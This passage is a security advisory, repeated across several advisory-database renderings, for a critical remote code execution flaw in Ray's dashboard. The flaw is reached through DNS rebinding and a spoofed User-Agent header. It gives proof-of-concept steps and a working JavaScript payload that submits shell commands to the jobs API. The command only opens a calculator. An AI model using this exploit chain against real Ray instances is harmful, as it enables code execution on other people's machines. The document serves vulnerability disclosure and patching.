and request.method in [hdrs.METH_POST, hdrs.METH_PUT]
):
return aiohttp.web.Response(
status=405, text="Method Not Allowed for browser traffic."
)
return await handler(request)
https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196
This is because the fundamental assumption that the User-Agent header can't be manipulated is incorrect. In Firefox and in Safari, the fetch API allows the User-Agent header to be set to a different value. Chrome is not vulnerable, ironically, because of a bug, bringing it out of spec with the fetch specification.
Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like nccgroup/singularity.
PoC
Please note, this full PoC will be going live at time of disclosure.
- Launch Ray
ray start --head --port=6379 - Ensure that the ray dashboard/service is running on port
8265 - Launch an internet facing version of NCCGroup/Singularity following the setup guide here.
- Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html
- Under "Attack Payload" select:
Ray Jobs RCE (default port 8265) - Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.
- Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.
If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks may block DNS rebinding attacks, but likely not many.
What's going on?
This is the payload running in nccgroup/singularity:
/**
* This payload exploits Ray (https://github.com/ray-project/ray)
* It opens the "Calculator" application on various operating systems.
* The payload can be easily modified to target different OSes or implementations.
* The TCP port attacked is 8265.
*/
const RayRce = () => {
// Invoked after DNS rebinding has been performed
function attack(headers, cookie, body) {
// Get the current timestamp in milliseconds
const timestamp = Date.now();
// OS-agnostic calculator command that tries multiple approaches
const calculatorCommand = `
# Try Windows calculator first
if command -v calc.exe >/dev/null 2>&1; then
echo Windows calculator launching
calc.exe &
# Try macOS calculator
elif command -v open >/dev/null 2>&1; then
echo macOS calculator launching
open -a Calculator &
elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
echo macOS calculator launching
/System/Applications/Calculator.app/Contents/MacOS/Calculator &
# Try Linux calculators
elif command -v gnome-calculator >/dev/null 2>&1; then
echo Linux calculator launching
gnome-calculator &
elif command -v kcalc >/dev/null 2>&1; then
echo Linux calculator launching
kcalc &
elif command -v xcalc >/dev/null 2>&1; then
echo Linux calculator launching
xcalc &
# Fallback: try to find any calculator binary
else
echo Linux calculator launching
find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
fi
echo RAY RCE: By JLLeitschuh ${timestamp}
`;
const data = {
"entrypoint": calculatorCommand,
"runtime_env": {},
"job_id": null,
"metadata": {
"job_submission_id": timestamp.toString(),
"source": "nccgroup/singluarity"
}
};
sooFetch('/api/jobs/', {
method: 'POST',
headers: {
'User-Agent': 'Other',
},
body: JSON.stringify(data),
})
.then(response => {
console.log(response);
return response.json()
}) // parses JSON response into native JavaScript objects
.then(data => {
console.log('Success:', data);
})
.catch((error) => {
console.error('Error:', error);
});
}
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
async function isService(headers, cookie, body) {
return sooFetch("/",{
mode: 'no-cors',
credentials: 'omit',
})
.then(function (response) {
return response.text()
})
.then(function (d) {
if (d.includes("You need to enable JavaScript")) {
return true;
} else {
return false;
}
})
.catch(e => { return (false); })
}
return {
attack,
isService
}
}
Registry["Ray Jobs RCE"] = RayRce();
See: https://github.com/nccgroup/singularity/pull/68
Impact
This vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.
This attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.
Fix
The fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html
Fix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09
Several browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. (Chrome Local Network Access). These changes may protect you, but a previous initiative, "private network access" was rolled back. So updating is highly recommended as a defense-in-depth strategy.
Credit
The fetch bypass was originally theorized by @avilum at Oligo. The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at Socket.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ray"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.52.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62593"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-26T19:35:23Z",
"nvd_published_at": "2025-11-26T23:15:47Z",
"severity": "CRITICAL"
},
"details": "# Summary\n\nDevelopers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. \n\nDue to the longstanding [decision](https://docs.ray.io/en/releases-2.51.1/ray-security/index.html) by the Ray Development team to not implement any sort of authentication on critical endpoints, like the `/api/jobs` \u0026 `/api/job_agent/jobs/` has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.\n\nThis vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the `User-Agent` header starting with the string \"Mozilla\" as a defense mechanism. This defense is insufficient as the fetch specification allows the `User-Agent` header to be modified.\n\nCombined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement ([malvertising](https://en.wikipedia.org/wiki/Malvertising)).\n\n# Details\n\nThe mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.\n\n## Current Mitigation Strategies\n\n```python\ndef is_browser_request(req: Request) -\u003e bool:\n \"\"\"Checks if a request is made by a browser like user agent.\n\n This heuristic is very weak, but hard for a browser to bypass- eg,\n fetch/xhr and friends cannot alter the user-agent, but requests made with\n an http library can stumble into this if they choose to user a browser like\n user agent.\n \"\"\"\n return req.headers[\"User-Agent\"].startswith(\"Mozilla\")\n\n\ndef deny_browser_requests() -\u003e Callable:\n \"\"\"Reject any requests that appear to be made by a browser\"\"\"\n\n def decorator_factory(f: Callable) -\u003e Callable:\n @functools.wraps(f)\n async def decorator(self, req: Request):\n if is_browser_request(req):\n return Response(\n text=\"Browser requests not allowed\",\n status=aiohttp.web.HTTPMethodNotAllowed.status_code,\n )\n return await f(self, req)\n\n return decorator\n\n return decorator_factory\n```\n\nhttps://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155\n\n```python\n @aiohttp.web.middleware\n async def browsers_no_post_put_middleware(self, request, handler):\n if (\n # A best effort test for browser traffic. All common browsers\n # start with Mozilla at the time of writing.\n dashboard_optional_utils.is_browser_request(request)\n and request.method in [hdrs.METH_POST, hdrs.METH_PUT]\n ):\n return aiohttp.web.Response(\n status=405, text=\"Method Not Allowed for browser traffic.\"\n )\n\n return await handler(request)\n```\nhttps://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196\n\nThis is because the fundamental assumption that the `User-Agent` header can\u0027t be manipulated is incorrect. In Firefox and in Safari, the `fetch` API allows the `User-Agent` header to be set to a different value. Chrome is not vulnerable, ironically, because of a [bug](https://issues.chromium.org/issues/40450316), bringing it out of spec with the `fetch` specification.\n\nExploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like [nccgroup/singularity](https://github.com/nccgroup/singularity).\n\n# PoC\n\nPlease note, this full PoC will be going live at time of disclosure.\n\n 1. Launch Ray `ray start --head --port=6379`\n 2. Ensure that the ray dashboard/service is running on port `8265`\n 3. Launch an internet facing version of NCCGroup/Singularity following the [setup guide here](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).\n 4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html\n 5. Under \"Attack Payload\" select: `Ray Jobs RCE (default port 8265)`\n 6. Click \"Start Attack\". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.\n 7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.\n\nIf this attack doesn\u0027t work, consider clicking the \"Toggle Advanced Options\" and trying an alternative \"Rebinding Strategy\". I\u0027ve personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks _may_ block DNS rebinding attacks, but likely not many.\n\n## What\u0027s going on?\n\nThis is the payload running in [nccgroup/singularity](https://github.com/nccgroup/singularity):\n\n```javascript\n/**\n * This payload exploits Ray (https://github.com/ray-project/ray)\n * It opens the \"Calculator\" application on various operating systems.\n * The payload can be easily modified to target different OSes or implementations.\n * The TCP port attacked is 8265.\n */\n\nconst RayRce = () =\u003e {\n\n // Invoked after DNS rebinding has been performed\n function attack(headers, cookie, body) {\n // Get the current timestamp in milliseconds\n const timestamp = Date.now();\n \n // OS-agnostic calculator command that tries multiple approaches\n const calculatorCommand = `\n # Try Windows calculator first\n if command -v calc.exe \u003e/dev/null 2\u003e\u00261; then\n echo Windows calculator launching\n calc.exe \u0026\n # Try macOS calculator\n elif command -v open \u003e/dev/null 2\u003e\u00261; then\n echo macOS calculator launching\n open -a Calculator \u0026\n elif [ -f \"/System/Applications/Calculator.app/Contents/MacOS/Calculator\" ]; then\n echo macOS calculator launching\n /System/Applications/Calculator.app/Contents/MacOS/Calculator \u0026\n # Try Linux calculators\n elif command -v gnome-calculator \u003e/dev/null 2\u003e\u00261; then\n echo Linux calculator launching\n gnome-calculator \u0026\n elif command -v kcalc \u003e/dev/null 2\u003e\u00261; then\n echo Linux calculator launching\n kcalc \u0026\n elif command -v xcalc \u003e/dev/null 2\u003e\u00261; then\n echo Linux calculator launching\n xcalc \u0026\n # Fallback: try to find any calculator binary\n else\n echo Linux calculator launching\n find /usr/bin /usr/local/bin /opt -name \"*calc*\" -type f -executable 2\u003e/dev/null | head -1 | xargs -I {} {} \u0026\n fi\n echo RAY RCE: By JLLeitschuh ${timestamp}\n `;\n \n const data = {\n \"entrypoint\": calculatorCommand,\n \"runtime_env\": {},\n \"job_id\": null,\n \"metadata\": {\n \"job_submission_id\": timestamp.toString(),\n \"source\": \"nccgroup/singluarity\"\n }\n };\n \n sooFetch(\u0027/api/jobs/\u0027, {\n method: \u0027POST\u0027,\n headers: {\n \u0027User-Agent\u0027: \u0027Other\u0027,\n },\n body: JSON.stringify(data),\n })\n .then(response =\u003e {\n console.log(response);\n return response.json()\n }) // parses JSON response into native JavaScript objects\n .then(data =\u003e {\n console.log(\u0027Success:\u0027, data);\n })\n .catch((error) =\u003e {\n console.error(\u0027Error:\u0027, error);\n });\n }\n \n // Invoked to determine whether the rebinded service\n // is the one targeted by this payload. Must return true or false.\n async function isService(headers, cookie, body) {\n return sooFetch(\"/\",{\n mode: \u0027no-cors\u0027,\n credentials: \u0027omit\u0027,\n })\n .then(function (response) {\n return response.text()\n })\n .then(function (d) {\n if (d.includes(\"You need to enable JavaScript\")) {\n return true;\n } else {\n return false;\n }\n })\n .catch(e =\u003e { return (false); })\n }\n\n return {\n attack,\n isService\n }\n}\n\nRegistry[\"Ray Jobs RCE\"] = RayRce();\n```\n\nSee: https://github.com/nccgroup/singularity/pull/68\n \n# Impact\n \nThis vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.\n\nThis attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.\n\n# Fix\n\nThe fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html\n\nFix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09\n\nSeveral browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. ([Chrome Local Network Access](https://developer.chrome.com/blog/local-network-access)). These changes _may_ protect you, but a previous initiative, \"private network access\" was rolled back. So updating is highly recommended as a defense-in-depth strategy.\n\n# Credit\n\nThe fetch bypass was originally theorized by @avilum at [Oligo](https://www.oligo.security/). The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at [Socket](https://socket.dev/).",
"id": "GHSA-q279-jhrf-cc6v",
"modified": "2025-12-01T16:02:42Z",
"published": "2025-11-26T19:35:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62593"
},
{
"type": "WEB",
"url": "https://github.com/nccgroup/singularity/pull/68"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09"
},
{
"type": "WEB",
"url": "https://docs.ray.io/en/releases-2.51.1/ray-security/index.html"
},
{
"type": "WEB",
"url": "https://en.wikipedia.org/wiki/Malvertising"
},
{
"type": "PACKAGE",
"url": "https://github.com/ray-project/ray"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196"
},
{
"type": "WEB",
"url": "https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Ray is vulnerable to Critical RCE via Safari \u0026 Firefox Browsers through DNS Rebinding Attack"
}
PYSEC-2026-520
Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23Summary
Developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari.
Due to the longstanding decision by the Ray Development team to not implement any sort of authentication on critical endpoints, like the /api/jobs & /api/job_agent/jobs/ has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.
This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string "Mozilla" as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified.
Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising).
# Details
The mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.
Current Mitigation Strategies
```python def is_browser_request(req: Request) -> bool: """Checks if a request is made by a browser like user agent.
This heuristic is very weak, but hard for a browser to bypass- eg,
fetch/xhr and friends cannot alter the user-agent, but requests made with
an http library can stumble into this if they choose to user a browser like
user agent.
"""
return req.headers["User-Agent"].startswith("Mozilla")
def deny_browser_requests() -> Callable: """Reject any requests that appear to be made by a browser"""
def decorator_factory(f: Callable) -> Callable:
@functools.wraps(f)
async def decorator(self, req: Request):
if is_browser_request(req):
return Response(
text="Browser requests not allowed",
status=aiohttp.web.HTTPMethodNotAllowed.status_code,
)
return await f(self, req)
return decorator
return decorator_factory
https://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155
```python
@aiohttp.web.middleware
async def browsers_no_post_put_middleware(self, request, handler):
if (
# A best effort test for browser traffic. All common browsers
# start with Mozilla at the time of writing.
dashboard_optional_utils.is_browser_request(request)
and request.method in [hdrs.METH_POST, hdrs.METH_PUT]
):
return aiohttp.web.Response(
status=405, text="Method Not Allowed for browser traffic."
)
return await handler(request)
https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196
This is because the fundamental assumption that the User-Agent header can't be manipulated is incorrect. In Firefox and in Safari, the fetch API allows the User-Agent header to be set to a different value. Chrome is not vulnerable, ironically, because of a bug, bringing it out of spec with the fetch specification.
Exploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like nccgroup/singularity.
PoC
Please note, this full PoC will be going live at time of disclosure.
- Launch Ray
ray start --head --port=6379 - Ensure that the ray dashboard/service is running on port
8265 - Launch an internet facing version of NCCGroup/Singularity following the setup guide here.
- Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html
- Under "Attack Payload" select:
Ray Jobs RCE (default port 8265) - Click "Start Attack". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.
- Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.
If this attack doesn't work, consider clicking the "Toggle Advanced Options" and trying an alternative "Rebinding Strategy". I've personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks may block DNS rebinding attacks, but likely not many.
What's going on?
This is the payload running in nccgroup/singularity:
/**
* This payload exploits Ray (https://github.com/ray-project/ray)
* It opens the "Calculator" application on various operating systems.
* The payload can be easily modified to target different OSes or implementations.
* The TCP port attacked is 8265.
*/
const RayRce = () => {
// Invoked after DNS rebinding has been performed
function attack(headers, cookie, body) {
// Get the current timestamp in milliseconds
const timestamp = Date.now();
// OS-agnostic calculator command that tries multiple approaches
const calculatorCommand = `
# Try Windows calculator first
if command -v calc.exe >/dev/null 2>&1; then
echo Windows calculator launching
calc.exe &
# Try macOS calculator
elif command -v open >/dev/null 2>&1; then
echo macOS calculator launching
open -a Calculator &
elif [ -f "/System/Applications/Calculator.app/Contents/MacOS/Calculator" ]; then
echo macOS calculator launching
/System/Applications/Calculator.app/Contents/MacOS/Calculator &
# Try Linux calculators
elif command -v gnome-calculator >/dev/null 2>&1; then
echo Linux calculator launching
gnome-calculator &
elif command -v kcalc >/dev/null 2>&1; then
echo Linux calculator launching
kcalc &
elif command -v xcalc >/dev/null 2>&1; then
echo Linux calculator launching
xcalc &
# Fallback: try to find any calculator binary
else
echo Linux calculator launching
find /usr/bin /usr/local/bin /opt -name "*calc*" -type f -executable 2>/dev/null | head -1 | xargs -I {} {} &
fi
echo RAY RCE: By JLLeitschuh ${timestamp}
`;
const data = {
"entrypoint": calculatorCommand,
"runtime_env": {},
"job_id": null,
"metadata": {
"job_submission_id": timestamp.toString(),
"source": "nccgroup/singluarity"
}
};
sooFetch('/api/jobs/', {
method: 'POST',
headers: {
'User-Agent': 'Other',
},
body: JSON.stringify(data),
})
.then(response => {
console.log(response);
return response.json()
}) // parses JSON response into native JavaScript objects
.then(data => {
console.log('Success:', data);
})
.catch((error) => {
console.error('Error:', error);
});
}
// Invoked to determine whether the rebinded service
// is the one targeted by this payload. Must return true or false.
async function isService(headers, cookie, body) {
return sooFetch("/",{
mode: 'no-cors',
credentials: 'omit',
})
.then(function (response) {
return response.text()
})
.then(function (d) {
if (d.includes("You need to enable JavaScript")) {
return true;
} else {
return false;
}
})
.catch(e => { return (false); })
}
return {
attack,
isService
}
}
Registry["Ray Jobs RCE"] = RayRce();
See: https://github.com/nccgroup/singularity/pull/68
Impact
This vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.
This attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.
Fix
The fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html
Fix commit: https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09
Several browsers have, after knowing about the attack for 19 years, recently begun hardening against DNS rebinding. (Chrome Local Network Access). These changes may protect you, but a previous initiative, "private network access" was rolled back. So updating is highly recommended as a defense-in-depth strategy.
Credit
The fetch bypass was originally theorized by @avilum at Oligo. The DNS rebinding step, full POC, and disclosure was by @JLLeitschuh while at Socket.
| Name | purl | ray | pkg:pypi/ray |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ray",
"purl": "pkg:pypi/ray"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.52.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.1.1",
"0.1.2",
"0.2.0",
"0.2.1",
"0.2.2",
"0.3.0",
"0.3.1",
"0.4.0",
"0.5.0",
"0.5.2",
"0.5.3",
"0.6.0",
"0.6.1",
"0.6.2",
"0.6.3",
"0.6.4",
"0.6.5",
"0.6.6",
"0.7.0",
"0.7.1",
"0.7.2",
"0.7.3",
"0.7.4",
"0.7.5",
"0.7.6",
"0.7.7",
"0.8.0",
"0.8.1",
"0.8.2",
"0.8.3",
"0.8.4",
"0.8.5",
"0.8.6",
"0.8.7",
"1.0.0",
"1.0.1",
"1.1.0",
"1.10.0",
"1.11.0",
"1.11.1",
"1.12.0",
"1.12.1",
"1.13.0",
"1.2.0",
"1.3.0",
"1.4.0",
"1.4.1",
"1.5.0",
"1.5.1",
"1.5.2",
"1.6.0",
"1.7.0",
"1.7.1",
"1.8.0",
"1.9.0",
"1.9.1",
"1.9.2",
"2.0.0",
"2.0.1",
"2.1.0",
"2.10.0",
"2.11.0",
"2.12.0",
"2.2.0",
"2.20.0",
"2.21.0",
"2.22.0",
"2.23.0",
"2.24.0",
"2.3.0",
"2.3.0rc0",
"2.3.1",
"2.30.0",
"2.31.0",
"2.32.0",
"2.32.0rc0",
"2.33.0",
"2.34.0",
"2.35.0",
"2.36.0",
"2.36.1",
"2.37.0",
"2.38.0",
"2.39.0",
"2.4.0",
"2.40.0",
"2.41.0",
"2.42.0",
"2.42.1",
"2.43.0",
"2.44.0",
"2.44.1",
"2.45.0",
"2.46.0",
"2.47.0",
"2.47.1",
"2.48.0",
"2.49.0",
"2.49.1",
"2.49.2",
"2.5.0",
"2.5.1",
"2.50.0",
"2.50.1",
"2.51.0",
"2.51.1",
"2.51.2",
"2.6.0",
"2.6.1",
"2.6.2",
"2.6.3",
"2.7.0",
"2.7.0rc0",
"2.7.1",
"2.7.2",
"2.8.0",
"2.8.1",
"2.9.0",
"2.9.1",
"2.9.2",
"2.9.3"
]
}
],
"aliases": [
"CVE-2025-62593",
"GHSA-q279-jhrf-cc6v"
],
"details": "# Summary\n\nDevelopers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. \n\nDue to the longstanding [decision](https://docs.ray.io/en/releases-2.51.1/ray-security/index.html) by the Ray Development team to not implement any sort of authentication on critical endpoints, like the `/api/jobs` \u0026 `/api/job_agent/jobs/` has once again led to a severe vulnerability that allows attackers to execute arbitrary code against Ray. This time in a development context via the browsers Firefox and Safari.\n\nThis vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the `User-Agent` header starting with the string \"Mozilla\" as a defense mechanism. This defense is insufficient as the fetch specification allows the `User-Agent` header to be modified.\n\nCombined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement ([malvertising](https://en.wikipedia.org/wiki/Malvertising)).\n\n # Details\n\nThe mitigations implemented to protect against browser based attacks against local Ray nodes are insufficient.\n\n## Current Mitigation Strategies\n\n ```python\ndef is_browser_request(req: Request) -\u003e bool:\n \"\"\"Checks if a request is made by a browser like user agent.\n\n This heuristic is very weak, but hard for a browser to bypass- eg,\n fetch/xhr and friends cannot alter the user-agent, but requests made with\n an http library can stumble into this if they choose to user a browser like\n user agent.\n \"\"\"\n return req.headers[\"User-Agent\"].startswith(\"Mozilla\")\n\n\ndef deny_browser_requests() -\u003e Callable:\n \"\"\"Reject any requests that appear to be made by a browser\"\"\"\n\n def decorator_factory(f: Callable) -\u003e Callable:\n @functools.wraps(f)\n async def decorator(self, req: Request):\n if is_browser_request(req):\n return Response(\n text=\"Browser requests not allowed\",\n status=aiohttp.web.HTTPMethodNotAllowed.status_code,\n )\n return await f(self, req)\n\n return decorator\n\n return decorator_factory\n```\n\nhttps://github.com/ray-project/ray/blob/f39a860436dca3ed5b9dfae84bd867ac10c84dc6/python/ray/dashboard/optional_utils.py#L129-L155\n\n```python\n @aiohttp.web.middleware\n async def browsers_no_post_put_middleware(self, request, handler):\n if (\n # A best effort test for browser traffic. All common browsers\n # start with Mozilla at the time of writing.\n dashboard_optional_utils.is_browser_request(request)\n and request.method in [hdrs.METH_POST, hdrs.METH_PUT]\n ):\n return aiohttp.web.Response(\n status=405, text=\"Method Not Allowed for browser traffic.\"\n )\n\n return await handler(request)\n```\n https://github.com/ray-project/ray/blob/e7889ae542bf0188610bc8b06d274cbf53790cbd/python/ray/dashboard/http_server_head.py#L184-L196\n \nThis is because the fundamental assumption that the `User-Agent` header can\u0027t be manipulated is incorrect. In Firefox and in Safari, the `fetch` API allows the `User-Agent` header to be set to a different value. Chrome is not vulnerable, ironically, because of a [bug](https://issues.chromium.org/issues/40450316), bringing it out of spec with the `fetch` specification.\n\nExploiting this vulnerability requires a DNS rebinding attack against the browser. Something trivially done by modern tooling like [nccgroup/singularity](https://github.com/nccgroup/singularity).\n\n# PoC\n \nPlease note, this full PoC will be going live at time of disclosure.\n\n 1. Launch Ray `ray start --head --port=6379`\n 2. Ensure that the ray dashboard/service is running on port `8265`\n 3. Launch an internet facing version of NCCGroup/Singularity following the [setup guide here](https://github.com/nccgroup/singularity/wiki/Setup-and-Installation).\n 4. Visit the in Firefox or Safari: http://[my.singularity.instance]:8265/manager.html\n 5. Under \"Attack Payload\" select: `Ray Jobs RCE (default port 8265)`\n 6. Click \"Start Attack\". If you see a 404 error in the iFrame window that pops up, refresh the page and retry starting at step 3.\n 7. Once the DNS rebinding attack succeeds (you may need to try a few times), an alert will appear, then the jobs API will be invoked, and the embedded shell code will be executed, popping up the calculator.\n \nIf this attack doesn\u0027t work, consider clicking the \"Toggle Advanced Options\" and trying an alternative \"Rebinding Strategy\". I\u0027ve personally been able to get this attack to work multiple times on MacOS on multiple different residential networks around the Seattle area. Some corporate networks _may_ block DNS rebinding attacks, but likely not many.\n\n## What\u0027s going on?\n\nThis is the payload running in [nccgroup/singularity](https://github.com/nccgroup/singularity):\n\n```javascript\n /**\n * This payload exploits Ray (https://github.com/ray-project/ray)\n * It opens the \"Calculator\" application on various operating systems.\n * The payload can be easily modified to target different OSes or implementations.\n * The TCP port attacked is 8265.\n */\n\nconst RayRce = () =\u003e {\n\n // Invoked after DNS rebinding has been performed\n function attack(headers, cookie, body) {\n // Get the current timestamp in milliseconds\n const timestamp = Date.now();\n \n // OS-agnostic calculator command that tries multiple approaches\n const calculatorCommand = `\n # Try Windows calculator first\n if command -v calc.exe \u003e/dev/null 2\u003e\u00261; then\n echo Windows calculator launching\n calc.exe \u0026\n # Try macOS calculator\n elif command -v open \u003e/dev/null 2\u003e\u00261; then\n echo macOS calculator launching\n open -a Calculator \u0026\n elif [ -f \"/System/Applications/Calculator.app/Contents/MacOS/Calculator\" ]; then\n echo macOS calculator launching\n /System/Applications/Calculator.app/Contents/MacOS/Calculator \u0026\n # Try Linux calculators\n elif command -v gnome-calculator \u003e/dev/null 2\u003e\u00261; then\n echo Linux calculator launching\n gnome-calculator \u0026\n elif command -v kcalc \u003e/dev/null 2\u003e\u00261; then\n echo Linux calculator launching\n kcalc \u0026\n elif command -v xcalc \u003e/dev/null 2\u003e\u00261; then\n echo Linux calculator launching\n xcalc \u0026\n # Fallback: try to find any calculator binary\n else\n echo Linux calculator launching\n find /usr/bin /usr/local/bin /opt -name \"*calc*\" -type f -executable 2\u003e/dev/null | head -1 | xargs -I {} {} \u0026\n fi\n echo RAY RCE: By JLLeitschuh ${timestamp}\n `;\n \n const data = {\n \"entrypoint\": calculatorCommand,\n \"runtime_env\": {},\n \"job_id\": null,\n \"metadata\": {\n \"job_submission_id\": timestamp.toString(),\n \"source\": \"nccgroup/singluarity\"\n }\n };\n \n sooFetch(\u0027/api/jobs/\u0027, {\n method: \u0027POST\u0027,\n headers: {\n \u0027User-Agent\u0027: \u0027Other\u0027,\n },\n body: JSON.stringify(data),\n })\n .then(response =\u003e {\n console.log(response);\n return response.json()\n }) // parses JSON response into native JavaScript objects\n .then(data =\u003e {\n console.log(\u0027Success:\u0027, data);\n })\n .catch((error) =\u003e {\n console.error(\u0027Error:\u0027, error);\n });\n }\n \n // Invoked to determine whether the rebinded service\n // is the one targeted by this payload. Must return true or false.\n async function isService(headers, cookie, body) {\n return sooFetch(\"/\",{\n mode: \u0027no-cors\u0027,\n credentials: \u0027omit\u0027,\n })\n .then(function (response) {\n return response.text()\n })\n .then(function (d) {\n if (d.includes(\"You need to enable JavaScript\")) {\n return true;\n } else {\n return false;\n }\n })\n .catch(e =\u003e { return (false); })\n }\n\n return {\n attack,\n isService\n }\n}\n\nRegistry[\"Ray Jobs RCE\"] = RayRce();\n```\n\nSee: https://github.com/nccgroup/singularity/pull/68\n \n# Impact\n \nThis vulnerability impacts developers running development/testing environments with Ray. If they fall victim to a phishing attack, or are served a malicious ad, they can be exploited and arbitrary shell code can be executed on their developer machine.\n\nThis attack can also be leveraged to attack network-adjacent instance of ray by leveraging the browser as a confused deputy intermediary to attack ray instances running inside a private corporate network.\n\n# Fix\n\nThe fix for this vulnerability is to update to Ray 2.52.0 or higher. This version also, finally, adds a disabled-by-default authentication feature that can further harden against this vulnerability: https://docs.ray.io/en/latest/ray-security/token-auth.html\n \nFix commit: 